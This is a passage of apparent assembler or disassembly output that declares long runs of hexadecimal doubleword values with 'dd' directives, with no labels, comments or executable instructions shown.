0C505286Eh, 0F29296CBh dd 849800D8h, 71E02BF3h, 9F2215ADh, 992D8058h, 38D13429h dd 0E60F70Fh, 12160BCh, 5AD4C9h, 66C23E47h, 0E688B361h dd 0DD003077h, 0A92857F8h, 4AD82246h, 0C8A4CBEAh, 0B14FC23Fh dd 0F64EC448h, 94162AF3h, 0E3DC0C8Bh, 0F00441Fh, 1503472Fh dd 723A09DAh, 0C8C5FC82h, 65637BE4h, 0CB4F5688h, 0FB5490B5h dd 8C3704DCh, 4033C0E0h, 6231DF0Ch, 0CE90032Eh, 3A8947FCh dd 7A6C0A8h, 0C8464902h, 4136A80Dh, 303C5F40h, 8C07BCh dd 0E5D95A48h, 0C10BFFFBh, 0E8DD0F2Fh, 8441B988h, 78447485h dd 0C3077361h, 3B506BB9h, 75E59020h, 22A51DF9h, 5924F2h dd 34C97F1h, 540ABC8Ah, 8CA81244h, 9E0594Bh, 0ECF12CF0h dd 1E60DCF3h, 520FFD44h, 40D727D5h, 619C1182h, 0CC98BFA4h dd 417E702Ch, 5F21AA42h, 7EC35ADh, 0D02AEB91h, 3887C856h dd 73171B00h, 0BDDE1CC0h, 55B7005Ah, 0F529F74Eh, 1E3E0E87h dd 1480AE98h, 9F425C8Bh, 80671164h, 10E7FC25h, 0FF7602C6h dd 0C3724288h, 0B74158FEh, 0C80078ECh, 295980C5h, 6CD1269Ch dd 0EC502811h, 3D574004h, 3AF44009h, 2638C14Fh, 0FB8083Dh dd 14C49258h, 280AC14h, 8EE5885h, 5E00548Eh, 736A46h, 90B0C59Bh dd 8C9F8A1Bh, 0CC908BBDh, 20764844h, 8C07FCh, 4B9866A0h dd 1AEF157Bh, 0C8F8AC04h, 9AF14DDh, 708BC054h, 3FD918D9h dd 0C45BCD19h, 495CF7DFh, 8C3DBC1Ch, 9FEC040Ah, 2E0BAC99h dd 258EAA8h, 0F563CE0h, 16A0F503h, 0AEEEB013h, 397AA4A4h dd 14DC878Ah, 0C934BE09h, 0FCD8E090h, 9A785E2Fh, 0D4E076ACh dd 52630E02h, 0DE39F15Bh, 82CD8178h, 7C9589EDh, 0D977F23Ch dd 1839F19Ch, 132D01A7h, 8C32E6B6h, 0C4AED4D5h, 0B0CE545Ah dd 23C17DC8h, 9FFC82D5h, 2FEC9454h, 88D35C3Ah, 2864C50h dd 3F0A876h, 905D3146h, 0B1873B0h, 783229F2h, 4F08B300h dd 14F242C3h, 51E8ED25h, 1417AF50h, 68827F91h, 38FAC648h dd 71CC2718h, 76ACFE21h, 446502E6h, 9B225F5h, 0EBA55360h dd 1D15CD09h, 402C7660h, 36C1E43Fh, 878E2A00h, 9417681Ch dd 22DF0255h, 3CE7A891h, 0ADC248EBh, 4DC04DEh, 594523EDh dd 88C4CEDBh, 0D840C09Ch, 0ED18C871h, 56F00414h, 25F8984Eh dd 0B04DE823h, 89740CEh, 2C0BB1B5h, 2423E4C3h, 28C61495h dd 488C7FB8h, 4070D0A7h, 0A8B87A08h, 0B0A7404Ah, 0CE989EA0h dd 8944343Ah, 48AEA62Fh, 1D82D98h, 0A180A8B2h, 7DC034B3h dd 2B5C0968h, 0F6304821h, 0CD280048h, 53E6C2C1h, 0BE6793A8h dd 0CEC0A428h, 7680B432h, 4C809D87h, 17F8DE40h, 0E3031CB2h dd 0C8B6F472h, 1379734Fh, 8136FC40h, 9F75CCA4h, 0D9033819h dd 9749DCC1h, 91C75900h, 46C3326Bh, 0BE184EB8h, 0DD5B1F44h dd 4966D92Ch, 0C0FD144Ah, 999C0882h, 0AD0644D0h, 6DF23527h dd 0E43B4B89h, 7C004A7Ch, 5483FE10h, 0FA64A6B6h, 8AC100F8h dd 0D0C7F2AEh, 28B4F534h, 8C67AC8Ah, 65274A09h, 6030E4F0h dd 73FCAAE5h, 0CE98D309h, 0C03CC8BCh, 56F72050h, 45D43655h dd 0B810B98Ch, 8CE40003h, 7A01FBCCh, 7B5B5F1Ch, 0B61D78D0h dd 2C9D9F6Ch, 2D816811h, 0CCB6FBEFh, 2616DFF4h, 0B0D44BF7h dd 446BAEh, 644B62EDh, 37BAC2D5h, 0E7C971CAh, 806D17FCh dd 9BC1CE72h, 0B9C34D00h, 0B58D3DD6h, 67B70B6Eh, 1CABF635h dd 0FA826459h, 5828B3FBh, 0EE420070h, 7501C5Ch, 1F1C2D51h dd 89A72622h, 111C9D88h, 0A3BF8066h, 0ADB890Eh, 4DF4706Fh dd 5C2340D8h, 8605E0FEh, 688ABEA7h, 0CB4B38F8h, 0C067C8D8h dd 0BBECD010h, 89A1D500h, 0DC82B19h, 0E43A4A78h, 6B406CF8h dd 1EED0FF4h, 0A6830ABAh, 493A40A9h, 0AADA0247h, 0FE82C1CCh dd 42DC8200h, 74EAC0C5h, 1DCAC74h, 808A572Fh, 69B5A634h dd 23C00720h, 0B2F77DB6h, 0E4925464h, 0E2E0D2CCh, 0FCC402C2h dd 0D8AD9B42h dd 3A8CB8E0h, 5304D97h, 0B3236CC5h, 309CB284h, 0A90A82B0h dd 807A11E4h, 0FC28A300h, 650EE3Eh, 9CD5F619h, 487E8039h dd 8042AE2Dh, 12FC7AF4h, 0A6298011h, 682C532Dh, 20F40BF8h dd 0C07695BDh, 9144E72Dh, 811562A4h, 25AACD4h, 0AF54DCA8h dd 0C6BD4417h, 0AC741912h, 42B18074h, 0F4B9458Dh, 0F90B00E2h dd 2EC2F771h, 8002F1E4h, 0F40DF61Bh, 8AA32005h, 0A202DECAh dd 982C0449h, 89E4D944h, 1048CF35h, 67202CDAh, 3CCB2D60h dd 78C420C7h, 0CB166560h, 1067C0Fh, 71307F5Ch, 4C0ECCEDh dd 977944B4h, 54C48847h, 0AE591167h, 277FDC41h, 0DE2C141Ch dd 7A1EF3CBh, 0A2212244h, 0F408B2B5h, 840BD434h, 82917675h dd 742FF734h, 9D465E6Ch, 0A00A110Ah, 20A41FD0h, 0C1E0BD27h dd 4E101650h, 0B94EBC82h, 72097CE3h, 60D07314h, 1658B458h dd 0E8B4CB67h, 659D1C19h, 4BC4C03Ah, 0EDFEB946h, 8A1A8900h dd 0C22DB454h, 29420BCDh, 8A0263Ah, 709CB780h, 0DB6970B4h dd 0CDA55060h, 0F5A0F700h, 0DC5BE806h, 0ADDF0032h, 0D0CFB3B2h dd 0F49C2353h, 0EE684481h, 0B82430C8h, 49D4B35h, 718068h dd 0DA6FD985h, 40F0B608h, 5C38E7A0h, 7EC4CA97h, 473273Ch dd 2B1F670h, 8351424Dh, 0DCC12AD3h, 80C86C96h, 1A34EF82h dd 0DF781204h, 0B738F649h, 2B956CD0h, 17F90D6h, 10E85DEDh dd 801534DEh, 58A94DF8h, 94467D7h, 0EB630B2Dh, 3A74F9h dd 5F78A166h, 0E0379260h, 0F7550014h, 4ED87DD1h, 4F0E2444h dd 0B12F53EFh, 0D0207A0Ah, 9C4674E0h, 12E6D01Eh, 0AAD8D49Dh dd 0CCAB1830h, 18876BADh, 4E81D851h, 2E83CC0h, 94EC8C6Ch dd 0CB2A008Ch, 95CA5509h, 4001FD5h, 0DFD3CDF2h, 0B57B16F4h dd 0F0E5B0A9h, 3E6057E4h, 41FCFCD8h, 32CC99B5h, 609A3511h dd 0BB4E9E5Ch, 5523802Fh, 48787400h, 48C1854Eh, 0F413D811h dd 92D4ACAFh, 0AA0680B2h, 8C92DAC6h, 12222B00h, 0FD8CBB6Fh dd 167D383Fh, 8EA97900h, 6292FC77h, 0ABE3B0C2h, 348C4046h dd 0D42D816Eh, 0F61643C9h, 98401CEDh, 2B1642B3h, 0BDE0B6CFh dd 0FD0F81Ch, 0DD67EFFh, 0F2506497h, 10B74CC1h, 4A84A95Fh dd 785CC299h, 0C61060D6h, 0A0B4E6D3h, 50DDA93h, 1EB9142h dd 0FEB80F96h, 28A52340h, 6D50F9C4h, 3113F698h, 0D8A82CF0h dd 8C3AF8h, 4F33917Ah, 53D3869Ch, 10D32D4Ah, 0A70DD111h dd 0A886006Ch, 0A609A951h, 99164h, 0A1AE9F43h, 7F820127h dd 0D28B3366h, 21106D6Ah, 71A8A9B6h, 0FE1893h, 3C299E9Dh dd 0CC36177h, 3F30C022h, 0E60F08F3h, 6AEF06FAh, 0B800C294h dd 9FA2D80Ah, 655AA617h, 0FCBD9CD5h, 0EC1287ACh, 7013CA50h dd 2622F8A9h, 0F45E207Fh, 88DE816h, 1DB87439h, 391AD107h dd 90C1C7ADh, 0B7112A53h, 0CC6E2E79h, 53A41E04h, 2044F521h dd 0DE26D890h, 8510D4A8h, 0E182A209h, 7A60C85Ch, 0B662E89Fh dd 15325110h, 0D501ACFCh, 0C04A2284h, 0A3198135h, 752A338Dh dd 0E0F7D8E4h, 89D9379Ch, 0A8EA8168h, 0AF2CE0BBh, 0E894725Fh dd 7600F8ADh, 0C2077906h, 7A1350BDh, 0C8ACAB5Ch, 38C56ECh dd 9F2025A2h, 0C816479Ch, 44910DC0h, 492B2CE7h, 0F8C677D4h dd 0DC99CDE8h, 4ED9F68Bh, 59ECB960h, 2E21891h, 72B03D6Dh dd 54E3B7D6h, 3D48F1B5h, 4CB2D250h, 1CC798B7h, 0C2C6F1F0h dd 0A0173E9Dh, 900338A5h, 0AFFAD9F3h, 0B057C76h, 0CC90D5F4h dd 59EB2CDAh, 0F61E3C13h, 0A5A38237h, 0F0E1310Ah, 40132F2Dh dd 0B3B8A8A9h, 721A8109h, 0E60484AFh, 7BF2B8E2h, 5148530h dd 72119252h, 899CF8C1h, 0A5D4F6E7h, 0C91EE4B7h, 2E840601h dd 1020979Eh, 256D40E0h, 0F500AC98h, 0D32219D9h, 0C0A63A23h dd 0DA400C79h, 61FA777Ah, 765D9C00h, 0EEDCD751h, 4BF4FA70h dd 43E0E0A2h, 9C4BF6FAh, 24330CF1h, 0B9882200h, 0D9DAB6D0h dd 7D8EFC10h, 0DD724605h, 44704FA7h, 18302530h, 0F53A9F0h dd 0AE87F5ACh, 0BA4A9664h, 0A800106Bh, 0E280990Ch, 0D200AFB5h dd 4ABACAC6h, 4ED624B6h, 23DC2B42h, 0CE0F0078h, 98D18AEEh dd 60903A4Ah, 55C858h, 0C60906F8h, 0BAE93814h, 185AB000h dd 0D852B5DFh, 0FA84A05Bh, 48458067h, 36A40E16h, 0DCEC8C94h dd 2169E618h, 4914656h, 0CAD393h, 0C6C8AAD7h, 0C3550045h dd 893B9DF7h, 2540D195h, 0E185108Dh, 810F0D1Bh, 0BD7B3110h dd 94100BDh, 4AD2DB64h, 0E4CB02F0h, 5090DE3Fh, 0C072F5h dd 33A4B813h, 0BD73A3Dh, 237C1703h, 80269493h, 1B7B328h dd 11BE905Eh, 0D470A27Eh, 0E51C9277h, 8B036A7Ch, 7D211DBDh dd 4150F86h, 0FEB65E53h, 15C884CBh, 0DAFBACCFh, 480800A8h dd 0C083F806h, 5E115105h, 8C1E0CE9h, 0E2D500F9h, 41DE2F0Eh dd 90E69171h, 0F28B6600h, 7E7FBE50h, 0B7357A69h, 465C29FEh dd 1BAE2618h, 8BB65C02h, 2472F5F3h, 0A7035090h, 89D4C335h dd 815E01E3h, 4A36F0D6h, 0F9108034h, 182595FFh, 0F67EBD44h dd 0E17465Eh, 41FF8EB4h, 19D1B58Bh, 979DFA50h, 0BD47769Ah dd 7D66D5Eh, 745CFFECh, 46014955h, 0BE1D2195h, 0E685365Ch dd 0FAA3810Ch, 0F7AD75DDh, 0B2B4B1FDh, 0E4BFCF55h, 62072F24h dd 87048AA1h, 7DBD8150h, 0D04CCC16h, 861A0F25h, 350C019Bh dd 72B1805Eh, 8BFBF5BDh, 0D639D74h, 82E38160h, 6A59F701h dd 22181AD1h, 6F3A2500h, 0BF5CAA3h, 850F1BDBh, 0BFB025D5h dd 0BD1B83F6h, 16F6074Dh, 0FF6F8414h, 1DC8F88Eh, 0FC8A09C0h dd 9C370017h, 91358DD7h, 0B5188960h, 8BD80F7Dh, 0BD617ACBh dd 2380FADCh, 0B8C2131Fh, 513F01DDh, 0C129A97Eh, 0F7D8407Bh dd 866BE961h, 3BE5DD96h, 35611BE4h, 72F87A99h, 85C7F982h dd 21B27C88h, 1819F1DFh, 7ABE00EBh, 66DBA021h, 0C917E681h dd 0DEBEE92Eh, 9569C295h, 0B311E12Ah, 21C25649h, 238DF98Bh dd 0A2D74317h, 0C7E5301Bh, 0D4E4C200h, 81B16FB8h, 0FEFF3923h dd 44B5A773h, 7FE26018h, 534F2FE5h, 0ED2FA05Fh, 3CB986Ch dd 9C9654CCh, 0D5A8A104h, 8B2FC710h, 0FD1857F1h, 0F6A77384h dd 0E601AE4h, 0E809273Dh, 0AC6D7F9Ah, 98F8069Ch, 1C81205Eh dd 0EB8BF00h, 0BD8915D1h, 160C6479h, 9B8AC750h, 74BADF0Ah dd 0C711646h, 11E98E71h, 0A800DF17h, 354BBE4Ah, 0EE0B88Fh dd 7DFE5F70h, 7CFA9280h, 45E01E9h, 1C5D6FEFh, 0B124B0F4h dd 2FA0191Fh, 207D70E6h, 0C2AAE31Ah, 1D540029h, 5805BC79h dd 0E1001133h, 0C4FCF681h, 2C5E3CD1h, 87B71E4h, 92390FE5h dd 5F3AD8B6h, 25001D23h, 1BB06BDFh, 0A4260480h, 24BAD551h dd 0C397C75Ch, 0C036DAAFh, 321C6575h, 0BF895E53h, 8CE8684Ah dd 7AECDD40h, 2EAF0027h, 87D3AC9Dh, 2C00E70Bh, 0AD12EA72h dd 0C07C8B4Fh, 315EFB88h, 3616D8Dh, 4E8C146h, 0ACDDED7Ah dd 58F20005h, 89D1CEC6h, 291611A6h, 3E21CD9Dh, 794BE2F7h dd 0B7C11788h, 68F2F729h, 0B1D82BDAh, 1819D1BEh, 0D989053Ah dd 8157AB6Dh, 2BDC0h, 510F5093h, 0CF206888h, 0B2DE8813h dd 6C2DFB00h, 0BCA463D8h, 0A0920086h, 7D1BEBE2h, 0FD00050Bh dd 936136B5h, 59318D01h, 0B17BBD32h, 717C2197h, 4A8181Ah dd 9A766FC7h, 81E680BDh, 121744E7h, 0D1BB9D89h, 244D95B2h dd 0BD2A09EBh, 0B04CE52Dh, 8C16EC21h, 67C09100h, 0E1D6A5BEh dd 0A1A89051h, 9221F016h, 1EF81E0h, 1ECDC218h, 7B613C5Eh dd 9C95A0A8h, 1D40BF5Eh, 75CA2325h, 0C5540751h, 35D47DBAh dd 12F7EB06h, 0F4A49BA0h dd 0F058AC02h, 40CD0A29h, 811875DDh, 0A1EE4253h, 0E55F8AA7h dd 49E6EAC3h, 0C9BBCDB0h, 7F325009h, 90458AB5h, 71C560B4h dd 642A6C74h, 0F9021523h, 528F0F41h, 6C87EC80h, 0E1D20D06h dd 794F1441h, 52C41588h, 31B51780h, 88588116h, 2C02F9BCh dd 310519DEh, 0F5D1F560h, 876EA861h, 97013532h, 8D51A480h dd 41B50B20h, 94B92E40h, 7875AB19h, 8F0160A6h, 4DB3FE3Dh dd 40C2C183h, 8010A167h, 0AECAD93Bh, 467633EBh, 0B6312C14h dd 0AD7AD916h, 0EBD43500h, 0F60A23E5h, 2ED8C159h, 16FC759Fh dd 110EFBAh, 85892D98h, 316974BDh, 33A9B51Ah, 80DD6C0Ch dd 802DFDE0h, 8512295Bh, 134A2625h, 465C42C3h, 1F5A0116h dd 8343DC0h, 0D776EA29h, 54DABB23h, 93AFC2C0h, 0A500F260h dd 0BE5AB1BCh, 4BD0F18Ch, 81BA2027h, 0E2248BCEh, 0C0123F0Fh dd 0D817D51Eh, 0C0A39ABFh, 25170AFBh, 5839E8DDh, 0C70A6F2Ah dd 82A3D185h, 5C21CF57h, 2CE0EDEDh, 11E67653h, 0AE91Fh dd 2097C836h, 26FA6EFh, 9C6DC9Fh, 22E8AD85h, 0B8066660h dd 61F8348Bh, 95679E2h, 5F1F41BFh, 850EA767h, 9BBB1756h dd 4938C0EFh, 0A285FFF6h, 7065532Eh, 0BE3FE265h, 12958293h dd 0F5F8BAFEh, 0DC0565F2h, 0EAB2E741h, 0CC5F0C82h, 29499B76h dd 1817D11Fh, 0DAD017D8h, 6ACCEBEEh, 2BD9209Dh, 7869058h dd 0FF2C6DFh, 603748D9h, 91F60380h, 20D1B509h, 10922C58h dd 61172E9Dh, 0C6DABBFCh, 0C88201C9h, 0C0C0C21h, 61266131h dd 207EDB5h, 79A259F9h, 8F181Ah, 6FC8BCFh, 9FBE52ACh, 6A44041Fh dd 1D555EB1h, 91BD0B00h, 5E482D92h, 8C18E892h, 0A44EB004h dd 0F1C486F9h, 8D95AE30h, 32C08228h, 0E54DD5E0h, 7FB13536h dd 6EEDA2FAh, 62CCA18h, 261B1508h, 4023110Fh, 66B11DDEh dd 5A20099Ch, 0F65240E9h, 25D1524Eh, 779CD700h, 50452C70h dd 86800FEh, 60DF923Fh, 2BE480BAh, 0DD6A7C62h, 0E961002Fh dd 0FF71F79Dh, 65809A90h, 1303F681h, 31420329h, 261E8B95h dd 748EC1A7h, 0AC001A46h, 0F5FCB0B6h, 50086DC4h, 0A504EB5Eh dd 1B119A9Dh, 47088080h, 5301E9C1h, 0BD2BEE1Dh, 0F97B2225h dd 3355A4Fh, 0B016E6EBh, 64E5D647h, 400F9E20h, 4DD4D7ADh dd 0C790382Ch, 42481480h, 80E3DEC1h, 0FD245F4Bh, 1D88B0CEh dd 3ED6BEC0h, 56480E68h, 34094281h, 0D985ED81h, 0BE977423h dd 6171A012h, 0A80C1008h, 2B10FDE2h, 751D5B5h, 6390617Dh dd 992D7E8Ah, 894A133h, 0B97E4813h, 1E3B8BEh, 34B76823h dd 2050BD6Fh, 60890824h, 25C2C671h, 9057B061h, 0F18B501Dh dd 47D78100h, 0D73C5F12h, 0B4DABF7Eh, 7C5733C2h, 21BAAD43h dd 0B61EA510h, 0D134C30h, 406D5E81h, 58C18ACh, 66527555h dd 36C605CDh, 4A3FB71Dh, 0F907D06Ah, 0F01C143Bh, 53547ED6h dd 2F05634Eh, 41B3D3FFh, 0C7BC9049h, 60CC3700h, 0E932D8B5h dd 2C075B9Ch, 13411260h, 0AC65F97Bh, 6B98380Ch, 439FBC82h dd 340FA51h, 36B0CFB7h, 886C805h, 83B36104h, 9E012FC5h dd 8351C2DCh, 72DAF5FBh, 0A2491C00h, 790EC53h, 0E52700B0h dd 7134F1A7h, 9D168B59h, 95DC2B79h, 4D5E5B53h, 294BB275h dd 586AB81Dh, 0DE1FB32Ch, 0BD8382F3h, 94D9114Ah, 0DB2F331Ah dd 0EC1171C3h, 63140A1Fh, 411E810Fh, 658202B7h, 27A2BE20h dd 0E41E5CBBh, 58694041h, 876BAE5Fh, 60E51600h, 82B194D4h dd 4D6EB705h, 0F7EF2CE9h, 92F3A2D5h, 952D150h, 606139BDh dd 0F1D84D8Dh, 0D3356CF8h, 16288930h, 3872003Ah, 909DCABBh dd 0DB01A38Eh, 3250583h, 176DC2BEh, 3F6765C9h, 1F6018C4h dd 9525F1B6h, 4132B2C2h, 6640E872h, 1325B7DFh, 107DEBDh dd 5E30CF1Bh, 8E52C550h, 81310F2Ch, 90585AF0h, 1588CC4Eh dd 0FA018C0h, 2F0090BFh, 37770371h, 25AC8193h, 70019DC4h dd 0D3DD294Dh, 0AA2227BCh, 0F704358Dh, 8F8E70E6h, 0E0CE1A88h dd 139D9F76h, 89010B58h, 0A0A2C98Dh, 4FD371E4h, 3BE0E170h dd 272E0B03h, 0E150B5Eh, 1544456Dh, 0BA92EC60h, 0A1622A9Eh dd 0E4DF0E17h, 1C467477h, 0EE2F9E00h, 966507EBh, 81F66FF0h dd 0E476F702h, 0D85F7519h, 0F9DEBD23h, 534931D6h, 2090DA8h dd 8DBAC060h, 2687BAD5h, 44C6158h, 0F06546CFh, 0D87A2BBFh dd 0CE32BF14h, 238510F5h, 0FE9F933Bh, 0F3BBBD50h, 36EDAh dd 26165CC1h, 7B693262h, 6977969Ch, 98AE0E80h, 7D96424Ch dd 3528F36Ah, 5EC6810Eh, 0E42290Fh, 0A065BE38h, 5B22BEA3h dd 1B3048FDh, 4088E82Eh, 4286EC89h, 10B81F00h, 7CC1F0A0h dd 42B7B425h, 840801E0h, 0B009D016h, 0E9142F3Ah, 20EC468Ch dd 3A60269h, 17EE5CBFh, 0A5B6FC3h, 0B82AE897h, 0F630AE0Ah dd 4674B9A6h, 0C157217h, 0BE37FF6h, 62058529h, 6893326Bh dd 0A27FEC43h, 3832C0F4h, 6563E4FCh, 0A4F6CC58h, 568A5559h dd 60A84784h, 863ECCD5h, 8B93C26h, 2A986500h, 2FFD50DAh dd 9D106CB4h, 3700C041h, 5330954Fh, 12647Ah, 2A61FD17h dd 0C0ECA379h, 90EA6827h, 16EBB501h, 1C8044A4h, 2E014222h dd 88D15E5Fh, 12788D23h, 0EE0C2668h, 1511082Dh, 9585133Bh dd 91F1FDC4h, 0D3E8132Ah, 434BD68Eh, 0E804BA6Eh, 85863A02h dd 66491ABEh, 29129778h, 77533D8Dh, 0D79A7BC8h, 2436E3Fh dd 4A70C56Ah, 713CCA96h, 1819F117h, 186904D6h, 80F7E7ECh dd 5B2B994Bh, 1544BCA7h, 60559761h, 9E90FF43h, 0F52B7B81h dd 0EDBA7060h, 4A401A41h, 5AB886F1h, 0E9C6261h, 1BD4E129h dd 0A95CF802h, 0C9490F49h, 799042C0h, 0D63CAC79h, 0C9BF88C4h dd 359DD981h, 0B47A1862h, 8F48257Dh, 10284913h, 5D55EE3Eh dd 5C4C20B6h, 310E7019h, 52710190h, 29061E78h, 28249195h dd 3879539Eh, 0C017C80Fh, 0FC872E79h, 9E6C54B4h, 683141CDh dd 0EFD08012h, 17EAFDD6h, 0DD9F2B33h, 196A2AABh, 20DFBB2Fh dd 0C603ADE5h, 0EBF4F7h, 8C34A6B2h, 5D0F17A4h, 7401CCF2h dd 0B529A845h, 5F022F61h, 87B0F36Ch, 905DFC13h, 0F1E18CA6h dd 0B8DA6DECh, 9D3C26CAh, 60F30B80h, 640EE8FDh, 8ED00CDh dd 0EB5660Ah, 470370F8h, 413F4D39h, 78CC8C60h, 0CDF00B0h dd 8D88BDD7h, 65007B30h, 0C9D66382h, 3D529E5h, 5BEC6693h dd 354C8F0Fh, 88EA023Ah, 0C075DF2Ch, 801E19CDh, 0B80C6061h dd 3233CDACh, 0A7BE848Eh, 176A4E40h, 29720085h, 0A046E324h dd 0A8000216h, 0C5B98C77h, 0E2612B8Dh, 2008B0F8h, 0BE770BD9h dd 19DE700Bh, 1069FF31h, 0FA762053h, 0D5BE5E03h, 0C7324846h dd 57E34C41h, 0C0B8F46Dh, 9ADE860Ah, 920EEE95h, 0C58861B3h dd 142F5101h, 0A605BAC8h, 1F8A0FB0h, 61608B6Ch, 984F403h dd 0B5891504h, 0CA8818E1h, 0BA601CF7h, 16308796h, 0C51F20Bh dd 0C880CC74h, 0F893E961h, 41FEE3FFh, 3D932F86h, 8003E283h dd 0AFC66B85h, 0B1810797h, 994E41E5h, 4DF74C80h, 7EBF5089h dd 248249D8h, 5F011DA5h, 0A97EC18Bh, 38DFAC68h, 0B88B7E4Ch dd 8546F18Bh, 23108ABEh, 0C9132648h, 9068E202h, 54CC4ED7h dd 0B7EF0097h, 5B295335h, 0DF4832F0h, 0A7E20127h, 0C44B9F34h dd 218E6068h, 0D15E9D00h, 7B1D10B9h, 8F01ED05h, 5FDB116Dh dd 0F6D26168h, 3107A093h, 35500542h, 0B1BE3986h, 5F3523F9h dd 0C5071B6Eh, 0C1A58A98h, 396AE5C8h, 0E8DFBCC8h, 519D1401h dd 6B8EAC1Ch, 0A6D248CEh, 0D02EE287h, 0C41F856Bh, 0A9776115h dd 0A221439h dd 931F3AEEh, 0F5C2075Dh, 1ECC34Dh, 0DC96C4BFh, 0ACB09020h dd 0AB314129h, 9B828B17h, 0AF6ED1F8h, 45EB2077h, 5AE482ECh dd 9A547494h, 0FFDEC2FDh, 81EC84D3h, 4E3DCCE1h, 58C17ACh dd 5F8F12ECh, 39C28160h, 0F3604C23h, 0C9EDF405h, 96E06162h dd 6323C92Ch, 75C5C3F1h, 0F0DBEB13h, 0FE6109C0h, 81E4BA0Fh dd 0E8936596h, 79252120h, 126CEE74h, 0F05CDh, 9ADCB39Ch dd 984CECBBh, 2E350420h, 52A81CEFh, 12486F0h, 0ED80ED9Bh dd 5ED3150Bh, 544B008Fh, 0CD591BC7h, 0B13BAF10h, 923D97ABh dd 8199A20Ah, 8236372Dh, 2201D86Ah, 7BA47BD1h, 2E17EF05h dd 3E327EA5h, 59B03246h, 124CB43Bh, 483401F5h, 1ACFBD83h dd 498B7F68h, 366000EFh, 962ABF2h, 9896B8C5h, 0E9F88C81h dd 0FD57AF3Fh, 97854D35h, 0FCC6AD82h, 6A959EACh, 0C9D083Ch dd 1533A8A5h, 0F389104Eh, 4BD2B408h, 0EDC09ACDh, 42B2E55h dd 296E8808h, 4FB5E995h, 0B5337C30h, 4B254B0Dh, 0AF09DB35h dd 21456DE4h, 0E45D841h, 0C185742Eh, 407F9B0h, 0B28E3281h dd 2653ED1h, 67293420h, 0A9A1F503h, 5B40576Fh, 58B89507h dd 0A22FAC6h, 0DAB6600Fh, 0AECDAA23h, 0F9806193h, 20D277E7h dd 55953564h, 6D8082B5h, 33BF1149h, 0B0A702EEh, 1E25BD31h dd 3ED7D82h, 35A738D1h, 0CECD09B5h, 890B46F0h, 441A31BDh dd 0DABA8337h, 11D7B09h, 36A0F6BFh, 135C2C63h, 9E5385B5h dd 4FC0039Eh, 9646B53h, 146DBD13h, 0B94DABA6h, 9F03E7ACh dd 6E384FC4h, 0BDA610E8h, 0D82B142Ch, 7CD109Eh, 1C92503Bh dd 0E020A624h, 464AE37h, 8AE092C6h, 49FACC1Dh, 0D327FE09h dd 0BC576E50h, 2007D44Bh, 0DA68D096h, 0C5738A43h, 5C25E6C2h dd 0B0F550B6h, 0EFD1799Bh, 589A56C8h, 6124C860h, 6937255Ch dd 4A51A43Dh, 0DF35FF2Fh, 0FA750D81h, 61F4DCE5h, 44175AF3h dd 0ED02C079h, 3AEFE830h, 808989A2h, 0E8242BCh, 0AFDB1AB9h dd 465C0C24h, 0FAC2001Dh, 40F5600Ch, 0DE751209h, 0F46E884Fh dd 91A0B700h, 0CD24E362h, 6D7E052Dh, 81819FCAh, 0A2C7E49Ch dd 8E83E68Bh, 681F9DB9h, 0F3F9A3D8h, 0D91AF285h, 181BF9DEh dd 8BBA0003h, 3E627AB9h, 0BD1201DCh, 0E2740C95h, 5D12DC6Bh dd 4A1216h, 51569824h, 0F80BC681h, 64493BCFh, 6E584AD3h dd 0B0141F37h, 9EF9C741h, 0F9691FCFh, 606BB522h, 0BDB10102h dd 79070315h, 5FC96C85h, 0AE44A5AFh, 0C026D400h, 196ECBE2h dd 0B64B01C1h, 2E1CE195h, 666A3ECCh, 1C001D23h, 0F4D7CD56h dd 0B5B10931h, 0B18DE7Fh, 0CA1C4149h, 0EA83DB5Bh, 90026BE1h dd 0ADAF1B5h, 0FCD986D5h, 3F8A8055h, 705A73E4h, 5DC50900h dd 0B4205619h, 0B4519861h, 81902804h, 4039E842h, 34600501h dd 0C4FE6E16h, 3DFD730Eh, 1C8E00ABh, 9EC8F72Dh, 5FC5380Dh dd 0B2445DBh, 1F7F6F01h, 86812BDAh, 88F5B82Ah, 246CD8C9h dd 80F69B4Fh, 0CFF70ADBh, 8EA80003h, 8D297EABh, 48B61EF1h dd 9D5691C4h, 0A9013928h, 26E9E5FCh, 8B5991Fh, 5B172131h dd 61599D30h, 74EE00AEh, 5416AAEFh, 0FACB7CE0h, 0D31F62C3h dd 5F43110Ah, 3A4A40EEh, 992CA453h, 222A115Ch, 0BF660204h dd 48E9DBADh, 0F603DEh, 3D7627Dh, 9F2F870h, 63758D27h dd 0C08BC182h, 79F11976h, 0D23F3E02h, 0E3031423h, 0E6659D29h dd 4489B78Ch, 0E6B08C52h, 0A0701730h, 5BDDBD0Bh, 52416C2Fh dd 601AE487h, 920841Bh, 0CD578A92h, 21111582h, 1E27EAD2h dd 64A2CD7Fh, 0E33B6016h, 0F38B2ECFh, 61875504h, 0C14F25C5h dd 0A7FEC971h, 2917326Bh, 652721FEh, 71E2A9C0h, 77181Bh dd 11740817h, 90B3323Ch, 0D520AC98h, 52FC3123h, 4157510h dd 7100D0E2h, 9C64EC27h, 8D00D332h, 6C969D9h, 0C4AF9117h dd 122C0134h, 0B5033802h, 437C7405h, 0AAF41755h, 1B857EDh dd 54E26B04h, 6BA165DCh, 1C44A641h, 34808E6Ch, 0BD0A79A3h dd 3C009D74h, 7FC5035Ah, 607DCAEh, 0A58D011Ch, 0F85BE70Fh dd 2D09CD6Eh, 1E827071h, 0DDFA2EF5h, 0B0221127h, 12EA290Dh dd 0AE264CA7h, 0F83462A6h, 0FC93E432h, 808BF6BFh, 0D549C922h dd 0C0031C33h, 9159938h, 8FF188F0h, 898D2444h, 0AB0C14B0h dd 41C4184h, 0C1DBFC5Eh, 7D0DC0DCh, 7FD4B99Dh, 0E9D0E709h dd 0BEF0A2h, 623A8ABFh, 9D0B6067h, 500812B7h, 1221E4F2h dd 7B17818Dh, 80CB09A3h, 0D9AC8476h, 0C101492h, 1F40C55Ah dd 48DB0281h, 8B63190Eh, 0DE8039AFh, 5413370h, 1E18314h dd 17EB5FB6h, 0E0E1E6C4h, 5C3A79F3h, 5910D74Bh, 8C746D19h dd 0B8E86C39h, 0A406C417h, 56D8F70Ah, 9F4245BDh, 5F6DE479h dd 808ADB60h, 0A9862546h, 0FB812901h, 52B7A5D3h, 0C58E9A00h dd 17CE921Ch, 20E89E25h, 84D35B9Dh, 0D1339809h, 0D06A00B4h dd 0A28D0F5Eh, 0C6E80531h, 9C25E20Ah, 0C047CDA5h, 491DA462h dd 0A188E104h, 0DFC0B1B0h, 0C411C47Bh, 228C15Eh, 845FFC56h dd 0E63425D4h, 36C5A0B3h, 80D1B908h, 